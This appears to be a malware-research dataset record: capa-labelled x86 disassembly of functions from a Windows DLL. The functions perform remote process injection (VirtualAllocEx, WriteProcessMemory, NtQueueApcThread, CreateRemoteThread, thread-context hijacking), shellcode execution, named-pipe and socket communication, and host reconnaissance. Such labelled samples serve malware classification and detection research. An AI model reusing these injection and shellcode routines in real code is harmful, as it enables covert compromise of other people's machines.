joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003f68
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x4000
call fcn.10006734
pop ecx
mov edi, 0x2000
mov esi, eax
push edi
push esi
call fcn.10006822
mov ebx, eax
push edi
push esi
mov dword [ebp - 8], ebx
call fcn.10006822
push dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.1000679b
add esp, 0x1c
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.100068c6
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.100068c6
add esp, 0x10
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x10003fe3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xe
call fcn.10001e9e
pop ecx
pop ecx
call fcn.10006774
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003fed
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push ebx
push esi
push edi
mov esi, 0x4000
push esi
call fcn.10014469
pop ecx
push esi
mov ebx, eax
push 0
push ebx
call fcn.1001bdd0
add esp, 0xc
push dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push dword [ebp + 8]
push eax
call fcn.1000679b
lea eax, [ebp - 0x10]
add esp, 0xc
push eax
call fcn.100067b4
pop ecx
mov edi, eax
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.100068c6
lea eax, [ebp - 0x10]
push 0x200000
push eax
call fcn.100015e2
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.10001632
push esi
push 0x1002c598
push ebx
call fcn.1001597d
add esp, 0x24
test eax, eax
jne 0x1000407f
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 2
push 0x1002c59c
push esi
push ebx
call fcn.10014da5
add esp, 0x10
push ebx
lea eax, [ebp - 0x10]
push 0x1002c520
push eax
call fcn.10001685
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100040e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x34
call fcn.10001ecc
add esp, 0xc
push 0x16
lea eax, [ebp - 0x10]
call fcn.100016e7
push eax
lea eax, [ebp - 0x10]
call fcn.100016e4
push eax
call fcn.10001345
add esp, 0xc
push ebx
call fcn.1001438c
pop ecx
jmp 0x100041c6
push ebx
call fcn.1001438c
pop ecx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [ebp - 0x170], 0x10
je 0x10004149
lea eax, [ebp - 0x144]
push eax
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x20]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
lea eax, [ebp - 0x10]
push str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
push eax
call fcn.10001685
add esp, 0x24
jmp 0x1000418d
mov ecx, dword [ebp - 0x154]
lea edx, [ebp - 0x144]
push edx
movzx edx, word [ebp - 0x14]
push edx
movzx edx, word [ebp - 0x16]
mov eax, dword [ebp - 0x150]
push edx
movzx edx, word [ebp - 0x18]
push edx
movzx edx, word [ebp - 0x20]
push edx
movzx edx, word [ebp - 0x1a]
push edx
movzx edx, word [ebp - 0x1e]
push edx
push ecx
push eax
lea eax, [ebp - 0x10]
push str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
push eax
call fcn.10001685
add esp, 0x2c
lea eax, [ebp - 0x170]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100040e7
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x16
lea eax, [ebp - 0x10]
call fcn.100016e7
push eax
lea eax, [ebp - 0x10]
call fcn.100016e4
push eax
call fcn.10001345
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
call fcn.100016c4
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100041d5
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0
push 0
push dword [ebp + 8]
call esi
mov edi, eax
test edi, edi
jne 0x100041f3
xor eax, eax
jmp 0x10004214
lea eax, [edi + 1]
cmp eax, dword [ebp + 0x10]
jae 0x100041ef
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call fcn.1001bdd0
add esp, 0xc
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop edi
pop esi
pop ebp
ret

Function at 0x1000476a
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push esi
push edi
push dword [ebp + 0x28]
call fcn.1000a429
pop ecx
push 0x44
pop esi
push esi
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.1001bdd0
and dword [ebp - 0x14], 0
xor eax, eax
lea edi, [ebp - 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x100000
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
and dword [ebp - 0x3c], 0
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp + 0x28]
mov dword [ebp - 0x48], 0x101
push dword [ebp + 0x24]
call fcn.1000a226
add esp, 0x10
test eax, eax
je 0x10004858
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x1c]
mov eax, dword [ebp - 0x20]
push dword [ebp + 0x18]
mov ecx, dword [ebp - 0x28]
push dword [ebp + 0xc]
lea edx, [ebp - 0x28]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.10004ba2
add esp, 0x14
cmp dword [ebp + 8], 0
jbe 0x1000483b
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.10005958
pop ecx
pop ecx
push dword [ebp + 0x20]
lea esi, [ebp - 0x28]
push dword [ebp - 8]
push dword [ebp - 0xc]
sub esp, 0x10
mov edi, esp
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.10005597
add esp, 0x1c
push dword [ebp + 0x28]
call fcn.1000a44b
pop ecx
pop edi
pop esi
leave
ret
Function at 0x10004d1d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
mov ebx, fcn.10004d1d
push esi
sub ebx, 0x10004ce7
lea eax, [ebx + 0x10]
push edi
push eax
mov dword [ebp - 0xc], eax
call fcn.10014469
mov esi, dword [ebp + 0x10]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push ebx
mov dword [ebp - 8], eax
add eax, 0x10
push 0x10004ce7
push eax
movsd dword es:[edi], dword [esi]
call fcn.1001abf0
mov edi, dword [ebp - 0xc]
add esp, 0x10
push 0x40
push 0x3000
push edi
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
je 0x10004d98
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp - 8]
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10004d98
cmp dword [ebp - 4], edi
je 0x10004d98
xor esi, esi
push dword [ebp - 8]
call fcn.1001438c
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x10004da8
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push edi
xor eax, eax
push 6
pop ecx
lea edi, [ebp - 0x30]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
push str.NtQueueApcThread
xor esi, esi
push str.ntdll
mov dword [ebp - 4], esi
mov dword [ebp - 0x34], 0x1c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
cmp eax, esi
je 0x10004ed9
lea eax, [ebp - 0x18]
push eax
push dword [ebx + 8]
push dword [ebx]
call fcn.10004d1d
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x10004ed9
push esi
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp + 8], eax
cmp eax, esi
je 0x10004ed9
lea ecx, [ebp - 0x34]
push ecx
push eax
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10004ed9
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebx + 8]
jne 0x10004e7c
push dword [ebp - 0x2c]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 8], eax
test eax, eax
je 0x10004e7c
push 0
push 0
push edi
lea ecx, [edi + 0x10]
push ecx
push eax
call dword [ebp + 0xc]
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10004e4b
push dword [ebp + 8]
call esi
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10004ed9
cmp dword [ebp - 4], 0x10
jne 0x10004ed9
cmp dword [ebp - 0xc], 0
jne 0x10004edf
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
pop edi
pop esi
leave
ret
xor eax, eax
inc eax
jmp 0x10004edb

Function at 0x10004ee4
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push str.NtQueueApcThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10004f06
xor eax, eax
pop ebp
ret
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call eax
test eax, eax
jne 0x10004f02
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret

Function at 0x10004f2e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret
Function at 0x10004f4e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
neg eax
sbb eax, eax
neg eax
pop ebp
ret

Function at 0x10004f6b
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push esi
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor esi, esi
cmp eax, esi
jne 0x10004f95
xor eax, eax
jmp 0x1000501a
mov ecx, dword [ebp + 8]
add eax, dword [ebp + 0x20]
sub ecx, 6
push edi
je 0x10004fb8
dec ecx
jne 0x10005004
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x10004fc7
push esi
push 4
push dword [ebp + 0x14]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x10005004
lea eax, [ebp - 0x2cc]
push eax
push edi
mov dword [ebp - 0x2cc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10005004
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10005008
xor eax, eax
jmp 0x10005019
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
leave
ret
Function at 0x10005327
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push 0x90
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.1001bdd0
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10005365
xor eax, eax
leave
ret
cmp dword [ebp - 0x94], 5
jne 0x10005381
cmp dword [ebp - 0x90], 2
jne 0x10005381
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10005361
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x40
mov ebx, 0x3000
push ebx
push 0x4c
push 0
call esi
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x10005401
push 0x40
push ebx
push 0x149
push 0
call esi
mov ebx, eax
test ebx, ebx
je 0x10005401
mov eax, dword [ebp + 8]
push 0x13
pop ecx
push 0x4a
mov esi, 0x10032010
rep movsd dword es:[edi], dword [esi]
pop ecx
mov esi, 0x10032060
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x129]
and dword [esi + 0x18], 0
mov dword [esi], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x10]
push esi
push ebx
mov dword [esi + 0x10], eax
call dword [ebp - 4]
test eax, eax
jne 0x100053f2
push 5
jmp 0x100053fb
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x10005405
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10005428
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edi, 0x4000
push edi
push 0
push dword [ebp - 4]
call esi
push edi
push 0
push ebx
call esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000542d
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
cmp dword [ebp + 0xc], 0
je 0x10005440
xor eax, eax
leave
ret
cmp dword [esi + 0x10], 0
je 0x1000543c
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2cc], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000543c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000543c
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
leave
ret
Function at 0x10005801
Capabilities:
Read file on windows
Read pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
push esi
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp + 8]
call edi
test eax, eax
jne 0x1000585b
or eax, 0xffffffff
jmp 0x10005863
cmp dword [ebp - 4], 0x80000
jae 0x10005860
push esi
lea eax, [ebp - 0xc]
push eax
mov eax, 0x80000
sub eax, dword [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0xc]
add dword [ebp - 4], eax
add dword [ebp + 0xc], eax
jmp 0x10005817
cmp dword [ebp - 8], esi
ja 0x1000582d
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret

Function at 0x10005f1e
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
mov edi, eax
add edi, 0x3a98
call esi
cmp eax, edi
jae 0x10005f8e
xor eax, eax
push eax
push 0x100000
push 3
push eax
push eax
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10005fba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xe7
jne 0x10005f7b
push 0x2710
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
jmp 0x10005f86
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
cmp eax, edi
jb 0x10005f3d
jmp 0x10005f91
mov ebx, dword [ebp - 8]
cmp ebx, 0xffffffff
jne 0x10005fba
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x79
jne 0x10005fac
push 4
call fcn.10001efc
jmp 0x10005fb7
call esi
push eax
push 0x14
call fcn.10001e9e
pop ecx
pop ecx
jmp 0x1000601b
push 0
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 2
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
jne 0x10005fe6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x14
call fcn.10001e9e
pop ecx
pop ecx
jmp 0x1000600d
mov ecx, ebx
lea eax, [ebp - 0x2c]
call fcn.10006191
sub esp, 0x20
push 8
pop ecx
mov esi, eax
mov edi, esp
push 0x1bd
rep movsd dword es:[edi], dword [esi]
call fcn.10005b64
add esp, 0x24
test eax, eax
jne 0x1000601b
push ebx
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006030
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
xor esi, esi
test edi, edi
jle 0x1000606a
push 0
lea eax, [ebp - 4]
push eax
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10006073
cmp dword [ebp - 4], 0
je 0x10006073
add esi, dword [ebp - 4]
cmp esi, edi
jl 0x1000603f
cmp esi, edi
jne 0x10006073
mov eax, esi
pop esi
leave
ret
or eax, 0xffffffff
jmp 0x10006070
Function at 0x10006078
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
and dword [ebp - 4], esi
xor eax, eax
inc eax
cmp dword [ebp + 0x10], esi
jle 0x100060c1
mov eax, dword [ebp + 0x10]
sub eax, esi
cmp eax, 0x2000
jle 0x1000609b
mov eax, 0x2000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100060bf
add esi, dword [ebp - 4]
cmp esi, dword [ebp + 0x10]
jl 0x1000608a
jmp 0x100060c1
xor eax, eax
pop esi
leave
ret

Function at 0x100061be
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov ebx, dword [sym.imp.WS2_32.dll_ioctlsocket]
mov esi, eax
add esi, dword [ebp + 0xc]
and dword [ebp + 0xc], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
mov dword [ebp - 8], 1
call ebx
cmp eax, 0xffffffff
jne 0x10006227
xor eax, eax
jmp 0x10006256
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10006238
jg 0x1000622f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10006238
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
cmp eax, esi
jb 0x100061fb
jmp 0x1000623c
mov dword [ebp + 0xc], 1
jmp 0x1000623c
and dword [ebp + 0xc], 0
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [ebp + 8]
call ebx
inc eax
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10006285
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
test edi, edi
jle 0x100062b4
push 0
mov eax, edi
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100062bd
test eax, eax
je 0x100062b4
add esi, eax
cmp esi, edi
jl 0x1000628f
cmp esi, edi
jne 0x100062bd
mov eax, edi
pop esi
pop ebp
ret
or eax, 0xffffffff
jmp 0x100062ba

Function at 0x10006386
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
mov eax, fcn.10006190
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], edi
mov dword [esi + 8], 0x100062c2
mov dword [esi + 0xc], 0x10006317
mov dword [esi + 0x10], 0x10006354
mov dword [esi + 0x18], 0x10006371
mov eax, esi
leave
ret
Function at 0x1000647e
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0x494
call fcn.10006734
pop ecx
mov esi, 0x94
push esi
push eax
mov dword [ebp - 4], eax
call fcn.10006822
lea edi, [esi + 0x6c]
push edi
push dword [ebp - 4]
mov ebx, eax
call fcn.10006822
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call fcn.10006822
push edi
push dword [ebp - 4]
mov dword [ebp - 0x18], eax
call fcn.10006822
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], eax
call fcn.10006822
add esp, 0x28
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push dword [ebp - 0xc]
call fcn.10002607
pop ecx
push edi
push dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1000652b
push 0x5c
push dword [ebp - 0xc]
call fcn.10015ad0
pop ecx
pop ecx
test eax, eax
je 0x1000652b
inc eax
mov dword [ebp - 0xc], eax
jne 0x10006532
mov dword [ebp - 0xc], 0x1002c696
push ebx
mov dword [ebx], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebx + 4]
mov esi, dword [ebp + 8]
mov dword [0x10039c8c], eax
movzx eax, al
push eax
call fcn.10001c4a
movzx eax, byte [ebx + 8]
pop ecx
push eax
call fcn.10001c4a
movzx eax, word [ebx + 0xc]
pop ecx
push eax
call fcn.10001c2a
pop ecx
push 0
call fcn.10001c0d
pop ecx
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.10001c0d
pop ecx
push dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.10001c0d
pop ecx
push dword [ebp - 0x1c]
call fcn.10001c0d
pop ecx
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push str._s_t_s_t_s
push edi
push dword [ebp - 0x10]
call fcn.100145c6
mov eax, dword [ebp - 0x10]
add esp, 0x18
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100065af
sub eax, ecx
cmp eax, 0x3a
jle 0x100065c0
push 0x3a
pop eax
push dword [ebp - 0x10]
mov ecx, eax
call fcn.10001c5c
mov esi, dword [ebp - 4]
pop ecx
call fcn.10006774
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000694c
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
push edi
mov edi, eax
jle 0x1000697a
mov eax, dword [ebp + 0xc]
push 0
sub eax, esi
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add edi, eax
add esi, eax
cmp eax, 0xffffffff
je 0x10006980
cmp esi, dword [ebp + 0xc]
jl 0x1000695a
mov eax, esi
pop edi
pop esi
pop ebp
ret
push 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [ebp + 8]
call sub.WS2_32.dll_closesocket
or eax, 0xffffffff
jmp 0x1000697c